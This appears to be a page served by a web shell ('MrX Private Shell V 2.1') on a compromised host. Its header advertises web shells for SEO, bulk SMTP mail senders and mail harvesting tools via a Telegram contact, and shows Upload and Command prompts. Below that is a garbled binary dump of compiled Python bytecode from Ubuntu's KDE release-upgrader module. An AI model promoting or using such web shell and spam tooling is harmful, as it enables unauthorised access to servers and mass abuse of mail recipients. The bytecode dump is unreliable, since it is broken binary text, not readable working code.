__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

yM�g���p�SSKJr SSKJrJrJrJr SSKJrJ	r	J
r
JrJrJ
r
JrJrJrJr SSKJrJrJrJr SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK r SSK!r!SSK"r"SSK#J$r$J%r% SSK&J&r&J'r'J(r(J)r) SS	K*J+r+ SS
K,J-r. SSK/r/SSK0r0SSK1J0r2 SSK1J3r3 SS
K4J4r4 S!Sjr5Sr6Sr7/4Sjr8Sr9\Rr\l:\9\l9"SS5r;"SS\5r<"SS\RzR|R~5r@"SS\)5rA"SS\(5rB"SS\5rC"SS \&5rDg)"�)�uic)�Qt�QLocale�QTranslator�QTimer)
�	QTextEdit�QApplication�QDialog�QMessageBox�QDialogButtonBox�QTreeWidgetItem�QPushButton�QWidget�QHBoxLayout�QLabel)�QTextOption�QPixmap�QIcon�QTextCursorN�)�
run_apport�apport_crash)�DistUpgradeView�FuzzyTimeToStr�InstallProgress�AcquireProgress)�DistUpgradeConfig)�get)�gettext)�unicode_gettext)�
QUrlOpenerc�T�[U[5(aURSU5$U$)N�UTF-8)�
isinstance�bytes�decode)�s�errorss  �@/usr/lib/python3/dist-packages/DistUpgrade/DistUpgradeViewKDE.py�utf8r*<s%���!�U����x�x���(�(���c��[RRU5(a[R"X5 g[SU-5 g)Nzerror, can't find file: )�os�path�existsr�loadUi�print)�file�parents  r)r0r0Cs1��	�w�w�~�~�d����
�
�4� �	�(�4�/�0r+c�b�[RRU5(a[U5$g�N)r-r.r/r)r.s r)�_find_pixmapr6Js"��	�w�w�~�~�d����t�}��r+c�.�[R"U5$r5)r�	fromTheme)�name�	fallbackss  r)�_iconr;Os���?�?�4� � r+c�R�UR5(dURU5 ggr5)�isMaximized�origAdjustSize��selfs r)�
adjustSizerAYs$����������D�!�r+c�>�\rSrSrSrSrS
SjrSrSrSr	Sr
Srg	)�
_OSRelease�_z/etc/os-releasec��0UlSUl[RUl[
RRUR5(dgUR5 SUlU(aUR5 gg)NFT)
�result�validrC�OS_RELEASE_FILEr2r-r.�isfile�parse�inject_lsb_compat)r@�
lsb_compats  r)�__init__�_OSRelease.__init__cs[�������
��.�.��	��w�w�~�~�d�i�i�(�(���
�
����
���"�"�$�r+c��URSURS'URSURS'URRS5URS'URS(d(URRS5URS'URRS5URS	'g)
N�IDzDistributor ID�PRETTY_NAME�Description�VERSION_CODENAME�Codename�UBUNTU_CODENAME�
VERSION_ID�Release)rFrr?s r)rK�_OSRelease.inject_lsb_compatqs���(,���D�(9����$�%�%)�[�[��%?����M�"�"&�+�+�/�/�2D�"E����J���{�{�:�&�&*�k�k�o�o�6G�&H�D�K�K�
�#�!%������!>����I�r+c���[URS5nUH;nUR5nU(dMUR"UR	SS56 M= UR5 g)N�r�=r)�openr2�strip�parse_entry�split�close)r@�f�lines   r)rJ�_OSRelease.parse{sQ������C� ���D��:�:�<�D������d�j�j��a�0�1�	�
	
���	r+c��URU5nUS:Xa&[U[5(aURS5nX RU'g)N�ID_LIKE� )�parse_valuer$�strr_rF)r@�key�values   r)r^�_OSRelease.parse_entry�sB��� � ��'���)��
�5�#� 6� 6��K�K��$�E� ���C�r+c�Z�[R"U5n[U5S:XaUS$U$)Nrr)�shlexr_�len)r@rj�valuess   r)rg�_OSRelease.parse_value�s+�����U�#���v�;�!���!�9���
r+)r2rFrGN)T)�__name__�
__module__�__qualname__�__firstlineno__�DEFAULT_OS_RELEASE_FILErHrMrKrJr^rg�__static_attributes__�r+r)rCrC_s&��/��'�O�%�?��!�r+rCc�<�\rSrSrSrSrSrSrSrSr	Sr
S	rg
)�DumbTerminal�zA very dumb terminal c�(�[R"USU5 XlURS5 UR	S5 UR[RR5 URS5 URS5 SUlg)z1really dumb terminal with simple editing support ��	Monospace�FTN)rrM�installProgress�
setFontFamily�setFontPointSize�setWordWrapModer�WrapMode�NoWrap�setUndoRedoEnabled�setOverwriteMode�_block)r@r�parent_frames   r)rM�DumbTerminal.__init__�ss�����4��\�2�.�����;�'����a� ����[�1�1�8�8�9�����&����d�#���r+c��[R"5uUlURlURS:XaS[
RS'UR$)�
pty voodoor�dumb�TERM)�pty�fork�	child_pidr�	master_fdr-�environr?s r)r��DumbTerminal.fork�sA��;>�8�8�:�8����-�-�7��>�>�Q��!'�B�J�J�v���~�~�r+c�8�[R"URR///S5upn[U5S:�aE[R
"URRS5nUR
[U55 [R"5 g)Nr�)
�selectrr�rnr-�read�insertWithTermCodesr*r	�
processEvents)r@�rlist�wlist�xlistrbs     r)�update_interface�DumbTerminal.update_interface�sq�� &�
�
�t�/C�/C�/M�/M�.N�r�RT�VW� X���u��u�:��>��7�7�4�/�/�9�9�3�?�D��$�$�T�$�Z�0��"�"�$r+c��SnUHkn[U5S:Xa3URU5 UR5R5 SnMEU[	S5:XaMVU[	S5:XaMgX#-
nMm URU5 g)zsupport basic terminal codes r|r~�
�N)�ord�insertPlainText�
textCursor�deletePreviousChar�chr)r@�text�display_text�cs    r)r�� DumbTerminal.insertWithTermCodes�sv�����A��1�v��{��$�$�\�2����!�4�4�6����c�"�g����c�!�f����!���	
���\�*r+c��[URS5(dgUR5[RR
:Xa,[R"URRS5 gUR5(dg[R"URRUR5RS55 g)z#send (ascii) key events to the pty r�N�zutf-8)�hasattrrrir�Key�
Key_Backspacer-�writer�r��encode)r@�evs  r)�
keyPressEvent�DumbTerminal.keyPressEvent�s����t�+�+�[�9�9��
�6�6�8�r�v�v�+�+�+��H�H�T�)�)�3�3�W�=���w�w�y�y��
����%�%�/�/�����1A�1A�'�1J�Kr+c��UR(agSUlUR[R5 SUlg)z9helper that ensures that the cursor is always at the end NTF)r��
moveCursorr�Endr?s r)�onCursorPositionChanged�$DumbTerminal.onCursorPositionChanged�s*���;�;�����������(���r+)r�r�rN)rqrrrsrt�__doc__rMr�r�r�r�r�rvrwr+r)ryry�s$�� �
��%�+�&L� r+ryc�<^�\rSrSrSrSrSU4SjjrSrSrU=r	$)�
KDEOpProgress��zmethods on the progress bar c��XlX lgr5��progressbar�progressbar_label)r@r�r�s   r)rM�KDEOpProgress.__init__�s��$��0�r+c�>�[[U]U5 URR	[UR55 [R"5 gr5)	�superr��updater��setValue�int�percentr	r�)r@r��	__class__s  �r)r��KDEOpProgress.update�s=����M�4�'��0�������D�L�L� 1�2�� � �"r+c�:�URRS5 g�Nr|)r��setTextr?s r)�done�KDEOpProgress.done�s��
���$�$�R�(r+r�r5)
rqrrrsrtr�rMr�r�rv�
__classcell__�r�s@r)r�r��s���%�1�#�)�)r+r�c�6�\rSrSrSrSrSrSrSrSr	Sr
g	)
�KDEAcquireProgressAdapter��z>methods for updating the progress bar while fetching packages c��[R"U5 URRUlURR
UlXlgr5)rrM�window_main�label_status�status�progressbar_cache�progressr3)r@r3s  r)rM�"KDEAcquireProgressAdapter.__init__�s;��� � ��&��(�(�5�5����*�*�<�<��
��r+c�.�[S5X4-n[R"URR[S5U[R
R[R
R5nU[R
R:Xagg)Nz&Please insert '%s' into the drive '%s'zMedia ChangeTF)�_r�questionr3r��StandardButton�Ok�Cancel)r@�medium�drive�msg�changes     r)�media_change�&KDEAcquireProgressAdapter.media_changes���
�6�7�6�.�H�c��#�#�D�K�K�$;�$;�Q�~�=N�PS�U`�Uo�Uo�Ur�Ur�t�uO�uO�uV�uV�W�f�	�;�-�-�0�0�	0��
r+c��[R"U5 URRS5 URR5 g)Nr)r�startr�r�r��showr?s r)r��KDEAcquireProgressAdapter.starts2�����d�#��
�
���q�!������r+c��URRRRS5 URR[S55 g)N�  zFetching is complete)r3r��
progress_textr�r�r�r?s r)�stop�KDEAcquireProgressAdapter.stop
s8�������-�-�5�5�d�;������A�4�5�6r+c��[R"X5 URR[	UR
55 URS-nX R:�aURnURS:�a�[R"UR5n[U[5(a$UR[R"55nUR R#[%S5X RU4-5 UR&R(R*R#S[%S5[-UR.5--S-5 OaUR R#[%S5X R4-5 UR&R(R*R#S5 [0R2"5 g	)
z[we don't have a mainloop in this application, we just call processEvents here and elsewhererrz!Fetching file %li of %li at %sB/sz<i>�About %s remainingz</i>zFetching file %li of %lir�T)r�pulser�r�r�r��
current_items�total_items�current_cps�apt_pkg�size_to_strr$r%r&�locale�getpreferredencodingr�r�r�r3r�r�r�etar	r�)r@�owner�current_itemr�s    r)r��KDEAcquireProgressAdapter.pulses[��	���d�*��
�
���s�4�<�<�0�1��)�)�A�-���*�*�*��+�+�L����a��!�-�-�d�.>�.>�?�K��+�u�-�-�)�0�0��1L�1L�1N�O���K�K����"E� F�,�Xh�Xh�ju�Iv� v�w��K�K�#�#�1�1�9�9�%�!�DX�BY�\j�ko�ks�ks�\t�Bt�:t�w}�:}�~��K�K����"<� =��O_�O_�@`� `�a��K�K�#�#�1�1�9�9�$�?��"�"�$�r+)r3r�r�N)rqrrrsrtr�rMr�r�r�r�rvrwr+r)r�r��s��I����7�r+r�c�X�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrg)�KDEInstallProgressAdapteri)z?methods for updating the progress bar while installing packages��c�J�[R"U5 SUlURRUlURR
UlURRUlXl[SS5Ul
[$R&R)SS5 g![apn[R"SU-5 [RS:�a$[R R"Ul
SnAN|[R Ul
SnAN�SnAff=f)Nz/var/log/dist-upgrade/term.log�wbzCan not open terminal log: '%s'�3zDPkg::StopOnError�False)rrM�_cacher�r�r�r�r�r3r\�
_terminal_log�	Exception�logging�error�sys�version�stdout�bufferr��config�set)r@r3�es   r)rM�"KDEInstallProgressAdapter.__init__/s���� � ��&����"�.�.�;�;����*�*�<�<��
�#�/�/�=�=�����	0�!%�&F�t�!L�D��	�����.�w�7���	0��M�M�;�a�?�@��{�{�c�!�%(�Z�Z�%6�%6��"�"�%(�Z�Z��"�"��
	0�s�6B(�(
D"�2AD�D�D"c�z�[R"U5 SUlURR	[S55 URRS5 URR	S5 SUl	SUl
SUlURRRRS5 g)NFzApplying changesrrf�T)r�start_update�finishedr�r�r�r�r�r��
start_time�time_ui�
last_activityr3r��showTerminalButton�
setEnabledr?s r)r�&KDEInstallProgressAdapter.start_updateBs����$�$�T�*���
�	
���!�!�!�$6�"7�8��
�
���q�!����"�"�3�'������� ��������2�2�=�=�d�Cr+c��[R"XU5 [R"SU<SU<S35 [R"SS5U;ag[S5U-n[S5U-nS	U<S
U<3n[
URR5n[SU5 URRU5 URRU5 US:wa6URRU5 URR5 OURR5 UR!5 UR#5 g)Nz!got an error from dpkg for pkg: 'z': '�'�dpkgz*dependency problems - leaving unconfiguredFzCould not install '%s'zThe upgrade will continue but the '%s' package may not be in a working state. Please consider submitting a bug report about it.�<big><b>�</b></big><br />�dialog_error.ui)rr
r	r�dgettextr�r
r3r�r0�translate_widget_children�label_errorr��textview_errorr��hiderA�exec)r@�pkg�errormsg�summaryr��dialogues      r)r
�KDEInstallProgressAdapter.errorQs
�����d��2��
�
�c�8�T�U����F�$P�Q�U]�]���,�-��3���'�(�*-�.��18��=���4�;�;�2�2�3��� �(�+����-�-�h�7����$�$�S�)��t���#�#�+�+�H�5��#�#�(�(�*��#�#�(�(�*������
�
�r+c�B�[R"SU-5 [R"5n[S5U-n[S5nSU<SU<3n[	UR
R5Ul[SUR5 URRRU5 URRR5 URRRRUR 5 ["R$R'U5(dUS-n["R$R'S5(aqSS	X/n[(R*"U[(R,S
9R/5SnUR1SS
5nURRRU5 O.URRR[S55 URR35n	U=R4[R"5U-
-
slU	[R6R8:Xa"["R:"UR<S5 g["R:"UR<S5 g)z6ask question in case conffile has been changed by userz.got a conffile-prompt from dpkg for file: '%s'z/Replace the customized configuration file
'%s'?ztYou will lose any changes you have made to this configuration file if you choose to replace it with a newer version.z"<span weight="bold" size="larger">z </span> 

zdialog_conffile.uiz
.dpkg-distz
/usr/bin/diffz-u)r
rr#�replacez The 'diff' command was not foundsy
sn
N)r	�debug�timer�r
r3r��confDialoguer0�label_conffiler��textview_conffiler'�show_difference_button�clicked�connect�showConffiler-r.r/�
subprocess�Popen�PIPE�communicater&r(r�
DialogCode�Acceptedr�r�)
r@�current�newr��prim�sec�markup�cmd�diffrFs
          r)�conffile�"KDEInstallProgressAdapter.conffilejs����
�
�F��P�Q��	�	����C�D�w�N���#�$��OS�TW�X��#�D�K�K�$;�$;�<����#�T�%6�%6�7����(�(�0�0��8����+�+�0�0�2�	
���0�0�8�8�@�@��AR�AR�S��w�w�~�~�g�&�&��L�(�'��7�7�>�>�/�*�*� �$��5�#��!�!�#�j�o�o�>�J�J�L�Q�O�$����W�i�0�$�
�
�
�
-�
-�
5�
5�d�
;�
�
�
�
-�
-�
5�
5�a�8Z�6[�
\��"�"�'�'�)������	�	��e�+�+���W�'�'�0�0�0��H�H�T�^�^�V�,��H�H�T�^�^�V�,r+c��URRR5(aSURRR5 URRR[
S55 gURRR5 URRR[
S55 g)NzShow Difference >>>z<<< Hide Difference)r2r4�	isVisibler'r5r�r�r�r?s r)r8�&KDEInstallProgressAdapter.showConffile�s������.�.�8�8�:�:����/�/�4�4�6����4�4�<�<�Q�?T�=U�V����/�/�4�4�6����4�4�<�<�Q�?T�=U�Vr+c��[R"5uUlUlURS:XadS[R
S'S[R
;d[R
SS:XaS[R
S'S[R
S'[R"S	UR-5 UR$)
r�rr�r��DEBIAN_FRONTEND�kde�noninteractive�none�APT_LISTCHANGES_FRONTENDz fork pid is: %s)r�r�r�r�r-r�r	r0r?s r)r��KDEInstallProgressAdapter.fork�s���+.�8�8�:�(������>�>�Q��!'�B�J�J�v��!����3��
�
�,�-��6�0@��
�
�,�-�5;�B�J�J�1�2��
�
�(�4�>�>�9�:��~�~�r+c��URS:Xa[R"5UlURR[	UR
55 URR[UR555 US:�a�[R"5Ul
SUlURUR-
nX@R-n[U5U-nSUR
-
U-nUS:�a7US:a1URR[S5[!U5-5 g	URRS5 g	g	)
zupdate progress bar and labelrg�?FgY@g�N@i�r�rfN)rr1r�r�r�r�r�r�r*r]r�activity_timeout_reportedr�floatr�r�r)r@r)r�r��delta�time_per_percentr�s       r)�
status_change�'KDEInstallProgressAdapter.status_change�s���?�?�c�!� �I�I�K�$�/��
�
���s�4�<�<�0�1����!�!�$�v�|�|�~�"6�7��S�=�#�y�y�{�$�
�+0�$�
(��$�$�t���6�%�
�<�<�
�%�#�E�l�7�2�
�����%�)9�9�#�
�4�Z�C�:�.����&�&�q�)=�'>��PS�AT�'T�U����&�&�s�+�r+c�:�URRS5 gr�)r�r�r?s r)�
finish_update�'KDEInstallProgressAdapter.finish_update�s�����!�!�"�%r+c���[R"UR///S5upn[U5S:�aj[R"URS5nUR
R
U5 URRR[USS95 OOM�[R "U5 UR&S:�a�UR&UR(-[*R*"5:a�UR,(dI[R."SUR(<S
UR0R35<S
35 SUlURR6R8R;5 [<R>"5 [*R@"S5 g![a0n[U5 [R"SU-5 SnAGM@SnAff=f!["a;n[R$"SUR<S	U<S
35 SUlSnAGNqSnAff=f![4a' [R."SUR(-5 GNf=f)z~
no mainloop in this application, just call processEvents lots here
it's also important to sleep for a minimum amount of time
Trr�r/)r(z&error reading from self.master_fd '%s'Nz@got ValueError from InstallProgress.update_interface. Line was 'z' (�)r|zno activity on terminal for z
 seconds (z&no activity on terminal for %s secondsg{�G�z�?)!r�r�rnr-r�rr�r3�
terminal_textr�r*rr1r	r0rr��
ValueErrorr
r�TIMEOUT_TERMINAL_ACTIVITYr1rS�warningr�r��UnicodeEncodeErrorr��
konsole_framer�r	r��sleep)r@r�r�r�rbrs      r)r��*KDEInstallProgressAdapter.update_interface�s����
�(.�
�
�t�~�~�6F�r�"�a�(P�%��u��u�:��>��7�7�4�>�>�3�7�D��&�&�,�,�T�2��K�K�-�-�A�A��T�)�4�6��� 	�
�
*�
*�4�
0�����!�����!?�!?�?�4�9�9�;�N��/�/�
m����QU�Qo�Qo�qu�rC�rC�rH�rH�rJ�!K�L�.2�D�*�
�+�+�
!�
!�
/�
/�
4�
4�
6��"�"�$��
�
�4���1�
��a���
�
�F��J�K���
���	�
�-�-�fj�fo�fo�qr�s�
t��$�)�)��	��&�
m���� H�D�Lj�Lj� k�l�
m�sC�BF1�'G.�AH6�1
G+�;$G&�&G+�.
H3�80H.�.H3�6-I'�&I'c��UR5 [R"UR[R5upXR:XaU$MUr5)r�r-�waitpidr��WNOHANG)r@�pid�ress   r)�
wait_child�$KDEInstallProgressAdapter.wait_child�sB����!�!�#����D�N�N�2�:�:�>�J�S��n�n�$���
�
r+)rrrSr�r2rr�rr�r3r�r�r�rrN)rqrrrsrtr�r`rMrr
rFr8r�rWrZr�rkrvrwr+r)rr)sC��I�!$��8�&
D��2#-�JW�
�,�.&�(�Tr+rc�4^�\rSrSrU4SjrSrSrSrU=r$)�UpgraderMainWindowi�c�:>�[TU]5 [SU5 g)Nzwindow_main.ui)r�rMr0)r@r�s �r)rM�UpgraderMainWindow.__init__�s���
�������&r+c��Xlgr5�r3)r@�	parentRefs  r)�	setParent�UpgraderMainWindow.setParent�s���r+c��URR5nU(aUR5 gUR5 gr5)r3�on_window_main_delete_event�accept�ignore)r@�eventr`s   r)�
closeEvent�UpgraderMainWindow.closeEvent�s)�����7�7�9����L�L�N��L�L�Nr+rr)	rqrrrsrtrMrtr{rvr�r�s@r)rnrn�s���'� ��r+rnc��^�\rSrSrSrSSjrSrSSjrSrSr	Sr
S	rS
rSr
SrS
rSrU4SjrSSjrSSjrSSjrSrSSjrSSjrSrSrS SjrSrSrU=r$)!�DistUpgradeViewKDEiz$KDE frontend of the distUpgrade toolc�N�[R"U5 [5RS5 [R
"S5nUR
[R5 U(aUS:XaW[RR[R"5S5n[[R"55Ul
OSn[U5Ul
[R"SU5 [R "S5 S[R&;a[#S	5eS
[R&S'S[R&S
'S[R&S'S
[R&S'[)S/5Ul[-UR*5nUR/[0R2"5SSS5 UR*R5U5 [75R95 UR*R:R=[75R>5 [ASSS/S9nUR*RCU5 [E5Ul#URFRI5 SUl%[MURFRNURFRP5Ul)[UU5Ul+[YU5Ul-UR\[^l0URFRbReS5 URFRbRfR=URh5 [R"SU5 [R "S5 URk5 [m5RnSnU(aUS:XaSnURRqSS5n	[rRt"5RwU	5n
URFRxR{5nUR}SU5nUR}SU
5nURFRxRU5 URFR�R�5 [�URFR�5UlCURFR�R�SS 5 [�URZURFR�5UlFUR�R�UR�5 UR�RI5 [�R�"S!UR�5 UR*R�5 g!["a$n[R$"SU-5 SnAGN�SnAff=f)"N�KDE�PyQt6�.�moz)/usr/share/locale/ubuntu-release-upgraderzubuntu-release-upgraderzError setting locales (%s)�DISPLAYzNo DISPLAY in os.environ foundrM�QT_PLATFORM_PLUGIN�TRUE�KDE_FULL_SESSION�6�KDE_SESSION_VERSION�QT_QPA_PLATFORMTHEME�qtr�z/usr/share/qt6/translationszsystem-software-updatez=/usr/share/icons/oxygen/48x48/apps/system-software-update.pngz5/usr/share/icons/hicolor/48x48/apps/adept_manager.png�r:FrQ�Ubuntu�Kubuntu�Sources�Toz%siXi��
)LrrM�
get_telemetry�set_updater_typer	�	getLogger�setLevel�INFOr-r.�join�getcwdrrr�bindtextdomain�
textdomainrrar�r	�appr�loadr�system�installTranslatorr!�setupUrlHandles�aboutToQuitr7�teardownUrlHandlesr;�
setWindowIconrnr�r��	prev_stepr�r�r��_opCacheProgressr��_acquireProgressr�_installProgress�_handleExceptionr�
excepthookrrr6�showTerminalr$rCrFr�distro_info�UbuntuDistroInfor�label_titler�r/r�rcr'r�konsole_frame_layout�setMinimumSizeryr^�	addWidgetr�
singleShot�exitMainLoopMidFlightr()r@�datadir�logdir�logger�	localedirr�
translator�messageIconr9�to_dist�
to_version�title_strings            r)rM�DistUpgradeViewKDE.__init__s!��� � ��&���(�(��/��"�"�7�+��������%��'�S�.��G�G�L�L�����T�2�)�)�"�)�)�+�6�$�+�?�)�)�'�2�$�+�	<�
�
 �
 �!:�I�
F�
�
�
�6�
7��B�J�J�&��<�=�=�,1��
�
�'�(�*0��
�
�%�&�-0��
�
�(�)�-2��
�
�)�*��!:� ;�<���!����*�
�������(�$��5R�S����"�"�:�.���$�$�&������$�$�Z�\�%D�%D�E��4�'f�'^�'`�a��	
�����{�+�-�/������������ -�d�.>�.>�.P�.P�RV�Rb�Rb�Rp�Rp� q��� 9�$� ?��� 9�$� ?����.�.������+�+�6�6�u�=����+�+�3�3�;�;�D�<M�<M�N�	���8��C����4�5��&�&�(��|�"�"�=�1���t�x�'��D��+�+�/�/�)�T�2�� �1�1�3�;�;�G�D�
��'�'�3�3�8�8�:��#�+�+�H�d�;��#�+�+�D�*�=�����$�$�,�,�\�:�	
���&�&�+�+�-�$/��0@�0@�0N�0N�$O��!����&�&�5�5�c�3�?�)�$�*?�*?��AQ�AQ�A_�A_�`����!�!�+�+�D�,>�,>�?������!�	���"�d�8�8�9����
�
���[�	<�
�/�/�6��:�
;�
;��	<�s�-U6�6
V$�V�V$c�N�[S5 URR5 g)Nr�)r1r��exitr?s r)r��(DistUpgradeViewKDE.exitMainLoopMidFlightgs��
�%�&����
�
�r+c��US:XaURn[U[5(d[U[5(au[	UR55S:Xa'UR
[R"SS55 O1UR
[[	UR5555 UR5S:wa:UR5H%nURU5 URU5 M' gg)N�Error�kdelibs)
r�r$r
rrh�windowTitle�setWindowTitlerr#r��children�translate_widgetr$)r@�parentWidget�widgets   r)r$�,DistUpgradeViewKDE.translate_widget_childrenls����4���+�+�L��l�G�,�,�
�<��0Q�0Q��<�+�+�-�.�'�9��+�+�W�-=�-=�i��-Q�R��+�+�A�s�<�3K�3K�3M�/N�,P�Q�� � �"�d�*�&�/�/�1���%�%�f�-��.�.�v�6�2�+r+c��[U[5(d[U[5(Ga&[UR	55S:XaF[
R"S[
R"S5SS9nUR[US55 g[UR	55S:XaF[
R"S[
R"S5SS9nUR[US55 g[UR	55S:waBUR[[UR	555RSS55 ggg)	Nz&Cancelr�T)�fallback�&Closer|r��&)r$rrrhr�r�translationr�r�r r�r/)r@r�r�s   r)r��#DistUpgradeViewKDE.translate_widgetzs����f�f�%�%��F�K�)H�)H��6�;�;�=�!�Y�.�!�-�-��w�1�1�)�<�t�M������w�	�B�C��V�[�[�]�#�x�/�!�-�-��w�1�1�)�<�t�M������w��A�B��V�[�[�]�#�r�)�����#�f�k�k�m�"4� 5� =� =�c�3� G�I�*�*Ir+c�t�[U[5(d[U[5(ag[R"XU5n[
R"SSRU5-5 [XU5 [5(d�SR[R"XU55n[UR5n[SU5 URUR5 URR!U5 UR#5 UR%5 [&R("S5 g)zCrash handler.Nz)not handled exception in KDE frontend:
%s�
r|r"r)�
issubclass�KeyboardInterrupt�
SystemExit�	traceback�format_exceptionr	r
r�rrr
r�r0r$�dialog�crash_detailr�rAr(rr�)r@�exctype�excvalue�exctb�lines�tbtextr�s       r)r��#DistUpgradeViewKDE._handleException�s���
�w� 1�2�2��w�
�+�+���*�*�7�e�D���
�
�B�T�Y�Y�u�EU�U�V�	�W��.��|�|��W�W�Y�7�7��5�Q�R�F��T�-�-�.�F��$�f�-��*�*�4�;�;�7����'�'��/������K�K�M�����r+c���URRR5(aSURRR5 URRR[
S55 ORURRR5 URRR[
S55 URR5 g)NzShow Terminal >>>z<<< Hide Terminal)	r�rcrIr'rr�r�r�rAr?s r)r��DistUpgradeViewKDE.showTerminal�s������)�)�3�3�5�5����*�*�/�/�1����/�/�7�7��:M�8N�O����*�*�/�/�1����/�/�7�7��:M�8N�O����#�#�%r+c��UR$r5)r�r?s r)�getAcquireProgress�%DistUpgradeViewKDE.getAcquireProgress�����$�$�$r+c�:�XRlUR$r5)r�r)r@�caches  r)�getInstallProgress�%DistUpgradeViewKDE.getInstallProgress�s��',���$��$�$�$r+c��UR$r5)r�r?s r)�getOpCacheProgress�%DistUpgradeViewKDE.getOpCacheProgress�r�r+c�N�URRRU5 gr5)r�r�r�)r@r�s  r)�
update_status� DistUpgradeViewKDE.update_status�s�����%�%�-�-�c�2r+c���[URSUR-5n[URSUR-5nUR5 UR5 g)N�image_step%i�label_step%i)�getattrr�rjr')r@�step�image�labels    r)�hideStep�DistUpgradeViewKDE.hideStep�sJ����(�(��$�*�*�)D�E����(�(��$�*�*�)D�E��
�
�
��
�
�
�r+c���URnU(aa[URSUR-5n[	SSS/S9nURUR
SS55 UR5 gg)Nr�z
dialog-cancelz</usr/share/icons/oxygen/base/16x16/actions/dialog-cancel.pngz4/usr/share/icons/crystalsvg/16x16/actions/cancel.pngr��)r�r�r�rjr;�	setPixmap�pixmapr�)r@r�r��
cancelIcons    r)�abort�DistUpgradeViewKDE.abort�sk���~�~����D�,�,�^�d�j�j�-H�I�E���*h�*`�*b�c�J�
�O�O�J�-�-�b�"�5�6��J�J�L�
r+c��>�[[U]U5 [SSS/S9n[SSS/S9nUR(a�[URSURR-5n[URS	URR-5nURURS
S
55 UR5 Xl[URSUR-5n[URS	UR-5nURURS
S
55 UR5 URSUR5-S-5 g)
Nz	dialog-okz8/usr/share/icons/oxygen/base/16x16/actions/dialog-ok.pngz0/usr/share/icons/crystalsvg/16x16/actions/ok.pngr�zarrow-rightz:/usr/share/icons/oxygen/base/16x16/actions/arrow-right.pngz9/usr/share/icons/crystalsvg/16x16/actions/1rightarrow.pngr�r�r�z<b>z</b>)
r�r~�setStepr;r�r�r�rjr�r�r�r�r�)r@r��okIcon�	arrowIconr�r�r�s      �r)r��DistUpgradeViewKDE.setStep�s+���
� �4�0��6��{�"\�"T�"V�W���-�%a�%`�%b�c�	��>�>��D�,�,�^�d�n�n�>R�>R�-R�S�E��D�,�,�^�d�n�n�>R�>R�-R�S�E��O�O�F�M�M�"�b�1�2��J�J�L�����(�(��$�*�*�)D�E����(�(��$�*�*�)D�E��
���	�(�(��R�0�1�
�
�
��
�
�
�e�e�j�j�l�*�V�3�4r+c�@�SU<SU<3n[UR5n[SU5 URU5 URRU5 US:wa6URRU5 URR5 OURR5 UR[S55 [SSS/S9nURRURS	S	55 UR5 UR!5 g)
Nr r!r"�Informationzdialog-informationz@/usr/share/icons/oxygen/base/48x48/status/dialog-information.pngz=/usr/share/icons/crystalsvg/32x32/actions/messagebox_info.pngr��0)r
r�r0r$r%r�r&r�r'r�r�r;r�r�r�rAr(�r@r+r��extended_msgr,r�s      r)�information�DistUpgradeViewKDE.information�s���07��<���4�+�+�,��� �(�+��&�&�x�0����$�$�S�)��4���#�#�+�+�L�9��#�#�(�(�*��#�#�(�(�*�����-� 0�1��0�'i�'f�'h�i��	��� � ��!3�!3�B��!;�<������
�
�r+c��SU<SU<3n[UR5n[SU5 URU5 URRU5 US:wa6URRU5 URR5 OURR5 [SSS/S9nURRURSS55 UR5 UR5 g	)
Nr r!r"zdialog-errorz:/usr/share/icons/oxygen/base/48x48/status/dialog-error.pngzA/usr/share/icons/crystalsvg/32x32/actions/messagebox_critical.pngr�rF)r
r�r0r$r%r�r&r�r'r;r�r�r�rAr(rs      r)r
�DistUpgradeViewKDE.error�s���.5�s�;���4�+�+�,��� �(�+��&�&�x�0����$�$�S�)��4���#�#�+�+�L�9��#�#�(�(�*��#�#�(�(�*��N�'c�'j�'l�m��	��� � ��!3�!3�B��!;�<������
�
��r+c
�X�[R"XUU5 [UR5Ul[SUR5 URRR5 URRRRUR5 URUR5 URRR[RR 5R#[%S55 URRR[RR&5R)[+55 URRR[RR&5R#[%S5S-5 [-SSS/S9nURR.R1UR3S	S	55 US
:wa�USR5SS
5nURRR[RR65R#U5 USR5SS
5nURRR[RR 5R#U5 SU-n	URR8R#U	5 URR:R#UR<5 URRR?5 URRRAS/5 URRRC5R5 URDH^n
URRRGS[IURR[%S5U
RJ-/55 M` URLH^n
URRRGS[IURR[%S5U
RJ-/55 M` URNH^nURRRGS[IURR[%S5URJ-/55 M` URPH^nURRRGS[IURR[%S5URJ-/55 M` URRS5 URRU5n
U
[RVRX:Xagg)zshow the changes dialoguezdialog_changes.uiz&Start Upgrade�Details� >>>zdialog-warningz</usr/share/icons/oxygen/base/48x48/status/dialog-warning.pngz@/usr/share/icons/crystalsvg/32x32/actions/messagebox_warning.pngr�rNrr�r|rz<big><b>%s</b></big>�Packagesz	Remove %szRemove (was auto installed) %sz
Install %sz
Upgrade %sTF)-r�confirmChangesr
r��changesDialoguer0�treeview_detailsr'�	buttonBox�
helpRequestedr7�showChangesDialogueDetailsr$�buttonrr�r�r�r��Help�setIconrr;�question_pixmapr�r�r/r��
label_summary�
label_changes�confirmChangesMessage�clear�setHeaderLabels�header�toRemove�insertTopLevelItemr
r9�toRemoveAuto�	toInstall�	toUpgraderAr(r=r>)r@r+�changes�downloadSize�actions�removal_boldr��cancel�confirm�summaryText�rm�inst�uprjs              r)r�!DistUpgradeViewKDE.confirmChangess���
